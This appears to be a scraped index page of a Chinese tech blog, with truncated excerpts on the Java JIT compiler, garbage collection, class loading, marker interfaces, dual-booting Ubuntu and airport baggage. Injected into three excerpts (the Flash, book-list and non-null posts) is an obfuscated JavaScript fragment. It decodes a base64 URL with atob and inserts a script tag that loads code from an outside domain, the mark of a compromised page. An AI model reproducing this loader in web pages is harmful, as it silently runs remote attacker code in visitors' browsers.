JIT(Just-In-Time)編譯器
用來提高應用程序性能的最簡單的工具是Just-In-Time(JIT)實時編譯器。JIT是一個可將Java字節碼轉換為本地機器碼的代碼生成器。由JIT調用的Java程序,其運行速度通常要比由解釋程序執行字節碼時的速度高得多。JIT編譯器首先是在Java開發工具包(JDK™)1.1.6中作為一種性能更新出現的,而現在它是你在Java 2平台上使用Java解釋程序命令時調用的標準工具。你可以使用Java虛擬機的-D...
兼容Firefox 和IE的透明FLASH
兼容Firefox 和IE的透明FLASH
embed> object> div>
第一个是在IE里面用的,第二个是在Firefox里面用的
(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
清理:终结与垃圾回收
清理:终结与垃圾回收这里要明白这么几点1、垃圾回收器只能回收由new产生的对象,如果你使用或产生了非new产生的对象,垃圾回收器是不知道如何把他清理掉的 。这个时候就要使用到finalize()。2、垃圾回收器的运做方式是这样的,当垃圾回收器打算开始释放你的对象所占用的资源时,会先调用finalize(),并且在下一次垃圾回收动作放生的时候才回收该对象所占用的资源,如果使用finalize(),他便会让你得以在垃...
Java类加载揭秘(zz)
类加载是java语言提供的最强大的机制之一。尽管类加载并不是讨论的热点话题,但所有的编程人员都应该了解其工作机制,明白如何做才能让其满足我们的需要。这能有效节省我们的编码时间,从不断调试 ClassNotFoundException, ClassCastException的工作中解脱出来。
这篇文章从基础讲起,比如代码与数据的不同之处是什么,他们是如何构成一个实例或对象的。然后深入探讨java虚拟机(JVM)是如何利用类加...
思考
IT浪潮里总是日新月异的冒出许许多多的技术,纷繁复杂的概念搅得人无从是从。
静下心来思考,自己为什么会选择IT行业呢?那是因为自己对这个行业的深深喜爱。深刻检讨,我究竟喜欢什么呢?从最早的仙剑奇侠传开始,我梦想过自己能开发出如此动人的游戏,我的武侠梦等等似乎也能从RPG游戏中得到虚幻的满足。从文曲星上的小游戏开始编程,到恰逢那时候出来了魔兽世界,一切一切似乎都很美好。短短几年之间,...
好书–活到老学到老
《Python : create-modify-reuse》 Knowlton, Jim. 350P《Python essential reference》 David M. Beazley. 103P(stop at 10th chapter)《Sams teach yourself Java 6 in 21 days》 Rogers Cadenhead, Laura Lemay. 625P《Linux debugging and performance tuning : tips and techniques》 Steve Best. 110P(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=at...
XP&UBUNTU双系统
懒人们请看:对于无法光盘安装的懒人们简单几句,在XP下用虚拟光驱虚拟Ubuntu的镜像,然后运行Wubi,没错,就是Wubi,当重启的时候选择“Ubuntu”,倒数时按Esc键进入菜单,乱码是不是?原文是这几个1.用标准模式启动安装程序2.用安全图形模式启动安装程序(仅当您出现显示问题时)3.用 ACPI 临时解决方案启动安装程序(仅当您出现 ACPI 问题时)4.用详细模式启动安装程序5.Read-Only Demo (Live CD Desktop)...
non-null
The benefits of non-null sets also extend to other data structures. Collections, maps, and arrays should never be null, but they should be empty if they don't have data.(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Marker Interfaces
Marker interfaces are that which don't declare any method or atrributes. It is used to mark classes conceptually. By using marker interfaces, a developer can tag certain code without complicating its inheritance structure. For example, Serializable is a marker interface that you see all over the place. This interface marks a class as having the ability to be flattened and se...
机场托运全攻略
最近看了好多的关于在机场托运行李的帖子.很多的朋友似乎都有不少自己的惨痛经历.弄的还没有来的朋友们紧张的很,心里很是着急.下面是一些我自己的经验,再结合一些观察所得,如果能给你带来一点帮助,那是我最快乐的事情!
1.行李的准备.
这个不想多说什么,该带什么不该带什么,这样的帖子太多,到底怎么样.请自己取舍,重要的是,你究竟能带多少东西,航空公司的规定千万事先打听清楚.对于第一次出来的朋友...